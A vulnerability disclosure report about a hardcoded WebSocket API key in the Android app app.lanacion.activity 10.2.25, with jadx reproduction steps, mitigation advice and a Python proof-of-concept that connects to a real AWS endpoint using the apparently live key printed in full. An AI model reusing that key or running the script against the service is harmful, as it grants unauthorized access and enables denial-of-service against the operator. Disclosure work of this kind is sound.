Description

The Android application app.lanacion.activity version 10.2.25 contains a hardcoded WebSocket API key in source/app/lanacion/clublanacion/BuildConfig.java. An attacker can extract this key via reverse engineering and use it to authenticate to the WebSocket endpoint. This allows the attacker to establish numerous concurrent connections from multiple sources, potentially launching a distributed denial‑of‑service (DDoS) attack that exhausts server resources.

Step To Reproduce

  1. Decompile the APK using jadx.
  2. Locate the key in sources/app/lanacion/clublanacion/BuildConfig.java

image.png

  1. Run a Python script to connect using the key
  2. Observe successful connection (HTTP 101), confirming the key grants access.

Video Proof of Concept

poc_app_lanacion_activity.gif

Principle

The app hardcodes a WebSocket API key in its source code to authenticate connections. An attacker can extract this key through reverse engineering and establish numerous concurrent WebSocket connections from multiple sources, potentially exhausting server resources and leading to a DDoS attack.

Mitigation

Remove the hardcoded WebSocket API key from the client, rotate the compromised key on the server, and route all traffic through a secure backend proxy that enforces authentication and rate limiting. Store all credentials using environment variables or a secrets manager.

PoC

import websocket

def on_message(ws, message):
    print(f"Received: {message}")

def on_error(ws, error):
    print(f"Error: {error}")

def on_close(ws, close_status_code, close_msg):
    print("Connection closed")

def on_open(ws):
    print("Connected successfully!")

if __name__ == "__main__":
    websocket.enableTrace(True)  
    ws = websocket.WebSocketApp(
        "wss://px05586ae3.execute-api.us-east-1.amazonaws.com/pro",
        header=["x-api-key: Z9sd77845O8VSkMRj2tiEYfhDca32Le6QWslmEoi"],
        on_open=on_open,
        on_message=on_message,
        on_error=on_error,
        on_close=on_close
    )
    ws.run_forever()

Impact

An attacker can launch DDoS attacks by coordinating multiple machines to establish thousands of concurrent WebSocket connections, overwhelming server resources and causing denial of service for legitimate users.

References